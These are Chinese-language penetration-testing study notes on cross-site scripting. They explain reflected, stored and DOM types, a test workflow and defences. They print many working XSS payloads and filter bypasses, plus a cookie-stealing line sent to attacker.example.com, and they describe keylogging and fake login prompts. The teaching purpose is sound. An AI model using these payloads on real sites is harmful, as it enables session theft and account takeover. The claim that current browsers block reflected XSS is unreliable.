1. XSS到底是什么——先把这个漏洞的本质剥开
先说说为什么我这么看重XSS。在web安全里,跨站脚本攻击(Cross-Site Scripting,也就是常说的XSS)经常被归到“入门级漏洞”,但我在实际做渗透测试的项目里发现,真正能把XSS理解透的人其实不多。很多人知道<script>alert(1)</script>能弹窗,就觉得“我会XSS了”,结果到了真实站点上,要么根本找不到注入点,要么payload一去就被拦,要么弹窗弹出来了却不知道下一步还能干什么。这门课里有一节专门讲XSS,标题是“9.2 跨站脚本攻击”,我啃完那一节之后,自己整理了这套笔记,说实话,它帮我补齐了很多以前模棱两可的东西。
XSS的核心其实就一句话:攻击者把用户可控的输入,拼接进了页面里的可执行代码中,导致浏览器把它当成脚本去执行。注意这里的关键是“拼进了代码里”。很多漏洞的出问题点,并不是服务端没过滤数据,而是数据被放错了位置——比如直接放进了HTML标签里、属性里,或者JavaScript代码块里。浏览器本身没法区分这段脚本是来自开发者写的,还是攻击者注入的,只要它出现在可执行的位置,就会被乖乖执行。
打个比方。你去餐厅点餐,菜单上写着“本日推荐:XX汤”,你把备注栏里填了“多加香菜”,结果后厨把你的备注直接打印成菜名贴在墙上,于是墙上的LED屏滚动播放了“多加香菜”四个大字。这不是因为你说了什么坏话,而是因为餐厅把你输入的内容当做了“显示内容”来处理,却没有检查它里面是不是藏着能改变显示逻辑的指令。XSS就是这个道理:你输入的不光是一段文字,而是带着“语义”的指令,服务端当普通内容返给了浏览器,浏览器就当代码执行了。
学XSS到底有什么用?对做渗透测试的人来说,它是漏洞利用链里极其关键的一环——拿到一个XSS,往往意味着可以窃取会话、模拟用户操作、钓鱼、挂键盘记录器,甚至往内网横向摸一层;对写代码的开发者来说,理解了XSS的攻击手法,才能知道写输出编码和内容安全策略的时候,哪些钱不能省;就算你只是做安全运维,能识别出XSS的变种和绕过手法,排查报警也快很多。这篇笔记我把原理、三类攻击的底层逻辑、payload设计思路、完整踩坑流程,以及常见的误判问题全部串起来写一遍,目标只有一个:让你看完之后,能真的在渗透测试里“用得上”,而不是只在靶场上捡个弹窗。
2. 三种XSS类型怎么区分——反射型、存储型和DOM型的底层逻辑
这一节是整堂课的骨架。我见过不少人把XSS分类背诵得滚瓜烂熟,但到了实际测试里,连一个点到底属于哪一类都分不清。其实分类的底层逻辑很简单,你就抓住一句话:恶意脚本到底在哪里被“执行”的、数据流经过了哪些环节。理解了这条链路,反射、存储、DOM三者的边界自然就清楚了。
2.1 反射型XSS:一次请求、一次反射,用完即走
反射型XSS的完整链路是:攻击者构造一个带恶意参数的URL,把这个URL发给受害者;受害者点击后,浏览器向服务器发起请求;服务器没有过滤这个参数,直接把它拼进HTML响应里;浏览器解析响应,脚本执行。
注意这里的重点:恶意代码是“反射”回来的,它不会被存到数据库里,所以每次触发都需要受害者点击包含payload的URL。也因此,反射型XSS的利用场景极度依赖“诱导点击”,一般配合钓鱼链接、链接伪装、短网址等手法使用。
我最早练手的时候,一直有个误区:以为反射型XSS不严重,因为“要受害者点一下才行”。这种想法大错特错。真实攻击场景里,攻击者把恶意链接伪装一下,通过即时通讯消息、邮件、论坛私信发出去,受害者点进来就中招,全程不需要攻击者再碰服务器。尤其是企业内部后台或者未授权访问的管理系统,一个反射型XSS加上一个管理员的点击,可能就够拿到后台会话了。
检测反射型XSS最常用的地方:搜索页面(关键词回显)、错误页面(把错误信息参数直接打印)、跳转参数(url=xxx)、以及各种表单校验的回显提示。这类位置有个共同特征:输出内容和用户提交的内容一一对应,且不留存。
2.2 存储型XSS:持久化挂马,危害最大的那一类
存储型XSS的链路是:攻击者把恶意代码提交到服务器(比如在评论区、个人简介、昵称、留言板、日志标题等“会被存下来”的位置),服务器把这段代码并入数据库;当其他用户包括管理员访问这个页面时,服务器从数据库读出这段内容,直接作为HTML的一部分返回,恶意代码被执行。
为什么说存储型是最危险的?因为它是“一次播种、持续收割”。反射型好歹还得让受害者点一次链接,存储型只要成功埋进去,后面每个访问这个页面的用户都会自动“踩雷”,完全不需要再诱导。更可怕的是,如果留言区或者工单系统没有做权限隔离,攻击者可以把payload种到管理员必然要访问的页面上——比如把脚本藏在工单标题里,管理员一打开工单列表,后台管理员的会话就丢了。
我在做某次模拟项目时,在用户头像的“昵称”字段里提交了<img src=x onerror=alert(document.domain)>,因为这个位置在页面右上角会被所有页面加载,结果我在测试环境里一改昵称,整个站都开始弹窗。这给当时的我上了一课:存储型XSS的覆盖面等于站点里所有引用了这个字段的页面,有些水印、欢迎语、日志记录的位置,比你想的多得多。
判断一个XSS是不是存储型,很简单:你去提交一次payload,然后隔一段时间(或者换个设备)再刷新,看它是否还在那里触发。如果在,就是存储型。渗透测试报告里,存储型XSS的严重等级我基本都会标高,因为即使它只是弹窗,也可能被进一步升级为会话劫持或钓鱼跳板。
2.3 DOM型XSS:纯前端问题,漏洞藏在JavaScript代码里
DOM型XSS和前两类最大的区别在于:它不经过服务端处理。恶意代码是通过前端JavaScript直接修改DOM树时,把不可信数据插进了HTML或执行环境中。
简单的例子:
var name = new URLSearchParams(window.location.search).get('name'); document.getElementById('welcome').innerHTML = '欢迎,' + name;如果攻击者构造?name=<img src=x onerror=alert(1)>,那么URL参数根本没提交到服务端,页面里的JS直接把它读出来并往DOM里写,浏览器执行了img的onerror。整个过程服务端日志都看不到攻击请求,WAF也拦不到。
这就是DOM型最坑的地方:常规扫描器和流量层面的防御基本失效。因为从网络流量来看,请求是绝对正常的——它就是一个普通的GET请求,没有包含任何注入特征,恶意行为完全发生在浏览器端的JS逻辑里。所以很多人做渗透测试时,拿到一个站点源码后,会直接把注意力放在白盒代码审计的前端文件上,专门找innerHTML、document.write、eval、outerHTML、setTimeout这类危险函数,看它们的数据源是不是可控。
DOM型XSS的检测思路和反射型也有明显差异。反射型你直接在参数里塞payload就够了,DOM型你得先通过浏览器开发者工具,分析页面里哪些JS读到了location参数、window.name、document.referrer,再判断这些数据流向了哪里。
2.4 三种类型的识别速查表
| 类型 | 恶意代码是否入库 | 触发条件 | 服务端日志能否检测 | 典型场景 |
|---|---|---|---|---|
| 反射型 | 否 | 用户点击含payload的URL | 能看到恶意参数 | 搜索回显、报错页面 |
| 存储型 | 是 | 任何用户访问被污染页面 | 能看到提交时恶意内容 | 评论区、昵称、留言板 |
| DOM型 | 否(但代码在页面源码中) | 用户访问构造URL,纯前端触发 | 看不到恶意特征 | JS读取URL参数/位置信息后写入DOM |
另外再补一个很容易混淆的点:一个漏洞页面可以同时存在多个类型。比如某个搜索功能,关键词回显在页面HTML里是反射型;但如果页面里还有一段JS从location.href中读取参数并写入DOM,那同样这个参数可能还存在一个DOM型XSS。两种类型并存并不罕见。
3. 渗透测试中最常用的XSS Payload思路与利用手法
知道XSS的类型只是第一步,真正体现渗透测试水平的是“payload设计”。很多人写payload只会写<script>alert(1)</script>,被过滤了、被转义了、被CSP拦截了,就一筹莫展。其实payload设计的本质是:根据输出点的上下文,构造出恰好能被浏览器执行的HTML或JS片段。
3.1 探测阶段:从最简单到不易被拦
做探测时,我不建议一上来就上重武器。先用最普通的字符串确认“哪些位置会回显输入”,这一步是基础。比如输入xsszztest,观察它出现在页面的哪些地方,是在标签内、属性值里,还是被JS用了。
确认回显位置后,按优先级尝试这些payload:
<script>alert(document.domain)</script>:最直接的检测,但如果输出点在HTML标签内部,这个根本不会执行。<img src=x onerror=alert(document.domain)>:无需闭合标签,img标签自身就能触发事件,适用性很广。<svg/onload=alert(document.domain)>:SVG标签在不少环境里比img更宽松,过滤规则经常漏。<details open ontoggle=alert(document.domain)>:利用浏览器原生交互事件触发,针对单引号/双引号过滤失效时很管用。"><svg/onload=alert(1)>:当输出点在双引号包裹的属性里,先用双引号闭合属性,再构造新的标签。
还有一类常见的上下文:输出点在JavaScript字符串里,比如var uid = "用户输入"。这时候上面的HTML标签全没用,你得先闭合字符串和脚本语句:
";alert(document.domain);//分号结束当前语句,alert执行后,//注释掉后面可能残留的字符,防止语法错误。
3.2 偷会话Cookie:XSS利用的“招牌动作”
XSS最经典的利用就是窃取会话Cookie,拿到后直接冒充受害者登录。原理就一句:页面里的JS可以读取同源Cookie,然后把Cookie发到攻击者的服务器。
最原始的构造方式:
new Image().src = 'http://attacker.example.com/steal?c=' + document.cookie;用new Image()而不是直接fetch,是因为图片请求天然是GET,跨域也允许发送请求,不需要处理CORS。实战中我一般会加固一下,先编码再传输,避免Cookie里的特殊字符搞坏URL。
当然,现在很多站点的关键Cookie都设置了HttpOnly,document.cookie读不到值。但这不代表XSS没用了——我还能用受害者的身份发起请求、修改资料、发消息、甚至转账,这些操作完全可以绕开Cookie读取,直接把受害者的会话当“肉鸡”用。
3.3 进阶利用:键盘记录、钓鱼页面、内网探测
一个XSS能做的事远比偷Cookie多。我梳理一下在模拟渗透项目里验证过的一些手法:
- 键盘记录:在页面注入一段JS,监听键盘事件,把用户输入实时回传。这对登录页、搜索页、在线编辑器页面特别有效,能被动收集账号密码、搜索习惯、聊天内容。
- 伪造登录框:直接篡改页面DOM,弹出一个逼真的“登录过期,请重新登录”窗口,用户输完账号密码后,数据被发到攻击者的服务器,同时页面跳转到真实的登录页,整个过程受害者毫无察觉。
- 强制敏感操作:用受害者的身份,向后台接口发起跨域请求或者同源Fetch,直接修改密码、绑定攻击者手机号、创建后门账号。很多站点的后台操作接口,根本没有校验二次确认,XSS一发就能打通整条操作链。
- 内网端口探测:JS向内网地址发起图片请求,结合onerror或者加载时长来判断端口是否开放。虽然现在浏览器的跨域限制收紧了,但针对内网非HTTP服务,这种办法仍然有一定效果。
做这些利用的时候,一定要记住:XSS的最终目标不只是弹个窗证明“有漏洞”,而是要判定它能对用户和数据造成什么具体影响。这才是渗透测试报告里有说服力的“危害证明”。
3.4 绕过基础过滤的几点经验
实战中几乎没有哪个站点会完全不设防,最常见的过滤方式是对<script>、alert、onerror等关键字直接删除或者替换为空。我踩过不少坑之后,总结了这几个原则:
- 区分“禁用标签”和“禁用关键字”。如果只是过滤了
<script>,那换<img>、<svg>、<details>、<video>、<iframe>的事件属性就行。如果连onerror都过滤了,试试onfocus、onmouseover、onauxclick这些冷门事件。 - 大小写混合。
<ScRiPt>能过一些正则不区分大小写的过滤器,现代浏览器解析HTML标签是大小写不敏感的。 - 编码绕过。HTML实体、URL编码、JavaScript的unicode转义在某些场景下能绕过WAF。不过这里要提醒一下:WAF层面你用编码绕过可能要试很久,不如先看看数据是不是经过了一次解码。
- 过滤“空格”时用注释符。比如
<img/src=x/onerror=alert(1)>,把空格替换成/或/**/,很多内联过滤规则就失效了。
最后说句实在话:浏览器厂商和WAF厂商也在进步,现在Chrome和Edge对反射型XSS有内置拦截,不少云WAF对alert(1)这种特征也建立了几百种正则。能不能绕过去,跟你对上下文的理解深度强相关,光靠背payload库,早晚会被淘汰。
4. 检测一个XSS点的完整实操流程
很多人学XSS的时候,是在靶场里直接把一个链接复制进来就弹窗了,所以根本不知道“找点”的过程有多曲折。我在做某跨平台系统的安全评估时,整个过程走了四步,每一步都有坑,这里完整记下来。
4.1 第一步:摸清输入输出点
先开Burp Suite,配置好代理,然后遍历这个系统所有接收参数的接口,包括GET参数、POST表单、JSON体内的字段、URL路径参数、Header头里的自定义字段。
给每个参数填一个独一无二的测试串,比如xsszz_001,然后逐个检查响应页面里哪里出现了这个串。这一步的关键是:不要只盯响应体里的明文位置,还要看源码HTML。有时候输入会被插入到属性值里,页面上看起来只是一行字,但源码里它是某个标签的value值。
另外注意区分“服务端渲染回显”和“前端JS动态渲染”。判断方法是禁用JavaScript后刷新页面,如果测试串还在,说明是服务端渲染;如果消失了,说明是DOM型,要往前端JS代码去追。
4.2 第二步:判断输出点的上下文
同一个测试串,输出在不同的上下文里,payload完全不一样。我通常按下面这个优先级去判断:
- 在HTML标签内:比如
<div>测试串</div>,直接插入标签比较顺利。 - 在HTML属性内:比如
<input value="测试串">,需要先闭合引号,再引入新的事件属性。 - 在JavaScript代码块内:比如
<script>var uid="测试串"</script>,需要闭合字符串和语句。 - 在CSS表达式里:这种情况现在相对少见,但老系统里仍有,利用成本高。
判断上下文最笨也最有效的方法:把测试串改成带引号和尖括号的变形串xsszz"<>',然后看页面源码,观察哪些符号被转义了、哪些原样保留。这一步直接决定你后续构造闭合的复杂度。
4.3 第三步:构造payload并反复调整
拿到了输出点的上下文,接下来就是调整payload的闭合逻辑。我举个实际例子,某个搜索页面的源码长这样:
<input type="text" name="keyword" value="这里输出参数">我的测试目标是执行JS,构造思路是:
- 先用
"闭合value属性; - 再加空格空出一个属性位;
- 写上
onmouseover=alert(document.domain)事件属性; - 最后补一个
x="使标签结构合法,避免剩下的引号造成语法错误。
最终payload就是:
" onmouseover=alert(document.domain) x="把这个payload放进keyword参数后,页面源码变成了:
<input type="text" name="keyword" value="" onmouseover=alert(document.domain) x="">鼠标一划过去,弹窗。这一步最重要的是耐心,每调整一次就刷新看一次源码,观察闭合是否成功。前几次大概率会失败,尤其是单引号双引号混用的时候,要有心理准备。
4.4 第四步:验证影响范围,而不是停在一个弹窗
弹窗出来并不代表这个测试结束了。我至少要确认三件事:
- HttpOnly:在console里执行
document.cookie,看是否返回空或部分Cookie。如果能看到会话Cookie,说明这个XSS可以直接升级为会话劫持。 - CSP策略:查看响应头里的
Content-Security-Policy,确认是否限制了外部脚本加载。如果CSP缺失或者配置了unsafe-inline,那利用空间就很大。 - 存储持久性:如果位置是存储型,再去其他低权限账号或者管理员视角确认一次,看是否跨用户触发。
我记得有一次在某个后台管理系统的搜索功能里,弹窗很顺利,但是我发现响应头里有严格的CSP,外部域名脚本全部被拦截。当时如果没有检查CSP,直接写进报告“可窃取Cookie到外部服务器”,那就是一份不严谨的结论。后来我把利用方式改成了“基于同源现有脚本实现操作”,才真正打通了整条链。
5. 服务端与客户端防御方案对比——为什么过滤不是万能的
做渗透测试的不能只懂攻击,得知道防御方会怎么堵你,才知道哪条路走不通。这节笔记我把主流防御手段整理了一下,顺便聊聊它们各自的软肋。
5.1 输出编码与转义:最基础但最有效的防线
XSS的成因说白了就是“不可信数据进入了可执行上下文”,因此最直接的防御就是在输出到不同上下文时做对应的编码。
- 输出到HTML标签之间:把
& < > " '转成& < > " '。 - 输出到HTML属性内:属性值里对引号和空格做编码,特别是
"要转成"。 - 输出到JavaScript字符串里:对引号、反斜杠、换行符做转义,把
"变成\",同时把换行转成\n,因为字符串里的换行可能导致脚本断句。 - 输出到URL里:百分号编码相关字符。
这里有个极易被忽略的细节:同一个参数在不同位置要使用不同的编码规则。很多开发者只对输入做了全局过滤,或者只在某个输出点做了转义,结果参数被拼到另一个地方的时候漏洞又被激活了。防御上最稳的做法是“默认输出编码”,就是在模板引擎或者视图层里,对每个变量一视同仁地进行上下文相关的转义,而不是依赖业务代码里手动加。
主流的模板引擎,比如前端的{{ }}插值、后端的各种模板语法,默认都带HTML实体编码,但这不意味着你可以完全不加思考。用v-html、dangerouslySetInnerHTML、innerHTML这类“明文插入”接口时,防御就被你亲手绕过了。
5.2 CSP:给浏览器立规矩
CSP(内容安全策略)从根上限制了浏览器“能加载什么、能执行什么”。一个合理的CSP响应头大致长这样:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'上面的配置表示:所有资源默认只允许同源加载;脚本只允许同源;插件的object全部拒绝;页面的base链接只能指向自己,避免基础标签注入。
但CSP也有坑。配置成script-src 'unsafe-inline'就等于放弃了对大部分XSS的抵抗,因为攻击者注入的payload本质就是内联脚本;配置成script-src 'self'但页面上有JSONP接口,攻击者可以利用JSONP的回调把代码包装成“同源脚本”间接执行。我之前遇到过有人写了script-src 'self' https://cdn.example.com,结果该CDN上有攻击者能控制上传的内容,白名单反而成了帮凶。
不建议把CSP当成唯一防线,它是“纵深防御”里的一环,配合输出编码一起用才可靠。
5.3 HttpOnly:救得了Cookie,救不了操作
给Cookie加上HttpOnly属性,document.cookie就读不到会话标识了。这是阻断XSS窃取会话最简单、最容易部署的手段,很多框架里一行配置就能全局开启。
但HttpOnly只能保护Cookie本身。你已经知道了,XSS还能直接伪造请求,代替受害者的浏览器向后端接口发出各种指令。只要业务接口信任“已登录会话”的Cookie,攻击者就等于握着受害者的会话把柄,强制改密、发消息、扫码确认这类操作照样能做成。所以HttpOnly是必要但不充分的缓解措施。
5.4 输入过滤:最容易做,也最容易被绕过
很多系统把防御重心放在“过滤输入”上——比如黑名单删除script、alert,或者白名单只允许字母数字。这种思路有一个根本性问题:你过滤掉的只是已知的攻击模式,而HTML的灵活性和浏览器解析的宽容度,决定了攻击手法是无穷无尽的。
比如过滤了<script>,可以换<img onerror>;过滤了onerror,可以换onload;过滤了alert,可以换prompt、confirm;过滤了<svg>,可以换<math>、<video>、<audio>。我在靶场上见过最极端的案例:开发过滤了<>尖括号,但输出点在script字符串里时,攻击者根本不需要尖括号,直接用分号闭合并写入恶意JS逻辑就行。
所以结论是:输入过滤只能降低风险,永远不要指望它能把XSS彻底消灭。真正的安全必须要靠输出上下文编码 + CSP + Cookie安全属性 + 合理的浏览器端渲染方式,多项叠加。
6. 踩坑记录与常见问题排查实录
这个板块是我自己最想写的。因为很多XSS学习笔记都写到“怎么攻击”就停了,但真到了项目里,最容易卡住的其实是“我明明按教程做了,为什么弹不出来”。以下是我在不同项目里踩过、也帮别人排查过的典型问题,都整理成案例。
6.1 误判:输入出现了等于漏洞存在?
新手最经典的问题,是把“输入在页面源码里能看到”当成“漏洞存在”。我看到过有人报告说:搜索框里的<script>标签原样出现在了响应里,就认定是高危。一去看源码,这个<script>明明是在某个属性的引号内部,比如:
<input value="<script>alert(1)</script>">这里尖括号并不会破坏标签结构,因为它们都稳稳待在value属性值里,浏览器根本不会把它解析成标签。真正要判断的,是它是否“逃逸”出了当前上下文。正确做法是先闭合引号和当前标签,再构造新的结构,而不是看到尖括号就激动。
6.2 反射型XSS被浏览器内置拦截
前几年测试某个反射型XSS,payload是?q=<script>alert(document.cookie)</script>,结果页面虽然把payload原样反映了,浏览器却直接拦截,连console里都提示“已拦截跨源脚本”。这其实是现代浏览器的XSS防护在起作用——浏览器检测到请求参数和响应体里的脚本特征完全一致,就会自动阻断执行。
这时候得改变payload风格,让它在浏览器眼里“不像攻击”。比如用事件属性替代独立的script标签:<img src=x onerror=alert(1)>,这种形态不容易被启发式规则标记。如果连<img onerror>都被拦,就试<details open ontoggle>或者<svg/onload>,逐个试到不被拦为止。顺便注意,测试的时候最好不要用alert(1)这种极其显眼的敲山震虎特征,可以用alert(document.domain),虽然够用,但特征还是太重。真正想要一次性通过,可以用print():<svg/onload=print()>,几乎不会被浏览器拦,又能在页面弹出打印框,视觉效果上也算明显。
6.3 payload里的引号逃逸,总是被截断
在构造闭合时,最常遇到的就是引号层级混乱。举个例子,某个页面的服务端代码是这样:
echo '<input value="' . $name . '">';如果你直接在名字里塞" onmouseover="alert(1),表面上能闭合,但实际跑起来不一定成功。因为如果外面套了一层函数做了转义,比如把"变成了",你在浏览器源码里看到的是HTML实体,而不是真正的双引号,页面渲染时实体被解码成引号,但属性层次可能已经变了。
踩过太多次坑后,我的习惯是:每次构造完payload,打开开发者工具的源码面板看最终渲染出来的DOM结构,确认我的payload确实“站在”了预期位置。这个过程很枯燥,但它是唯一能确保攻击稳定性的方式。靠肉眼猜,十次里有八次要返工。
6.4 只看弹窗,不看危害
做了好一阵渗透测试后,我收到的“XSS漏洞”报告里,最常见的问题是只写了“能在某处弹窗”,却完全没验证后续利用。弹窗只是一个证明,能证明你有能力影响这个页面的执行,但影响范围到底多大,比如:
- 是否能读取到cookie?
- 是否存在CSP限制?
- 是否能跨域发送数据?
- 是否对业务操作有不可逆影响?
这些才是高风险漏洞和低风险漏洞的分水岭。你自己做测试时,至少要跑一遍“从弹窗到窃取cookie再到伪造请求”的完整链路,再决定怎么写危害描述。很多报告被驳回,就是因为危害分析写得像面试题答案。
6.5 常见问题速查表
| 问题现象 | 可能原因 | 解决办法 |
|---|---|---|
| payload在源码里能看到但不执行 | 输出点在属性值/JS字符串内,未闭合 | 先闭合引号和标签,再用事件属性 |
| 弹窗被浏览器直接拦截 | 反射型特征过于明显 | 换<svg/onload>或事件属性,避开独立script |
| 单引号/双引号过滤后payload失效 | 服务端做了转义或实体编码 | 分析渲染后DOM,确认实际编码层次 |
| 页面源码里找不到输出点 | 输入被前端JS动态写入DOM | 往DOM型方向排查,断点调试JS |
| 外联脚本加载失败 | CSP限制了外部域名 | 改用同源脚本或现有JSONP接口 |
| Cookie读不到 | HttpOnly已开启 | 转向伪造请求、强制操作等高阶利用 |
| 提交后内容被截断 | 数据库字段长度限制 | 使用短payload,或分段写入再组合 |
7. 关于XSS学习和实战的一点个人体会
把9.2这一节笔记整理完,我才真正感受到跨站脚本攻击这个看起来“够老”的漏洞,生命力远比想象中强。虽然各种框架已经把默认编码做得很完善,但每次有新的前端渲染模式、新的浏览器API、新的富文本编辑器出现,XSS就会换个姿态冒出来。做渗透测试这几年,我最大的体会就是:不要背payload,要理解payload为什么有效。一个payload对了,你知道它在哪个环节生效;一个payload无效,你能从上往下排查是哪一步阻断了你——这种能力,比收集一万条payload库值钱得多。
再说句实在话,如果你刚入门web安全,XSS绝对是最好的“第一课”。它不需要复杂的网络知识,不需要搭建繁重的实验环境,一个本地Apache或者Node服务就够你练很久。难的不是启动,而是什么时候你能不看任何答案,自己构造出能绕过过滤器的payload。那个时刻,你才算是真正摸到了“输入-处理-输出”这条安全主线的脉搏。
最后留一个小建议:平时做实验时,多用几台环境的浏览器(比如Chrome和Firefox)交叉测试,因为不同浏览器对XSS过滤器的策略差异很大,有时一个payload在这边被拦,在另一边却能稳稳执行。这种细节,实战报告里不一定会写,但资深测试人员心里都有数。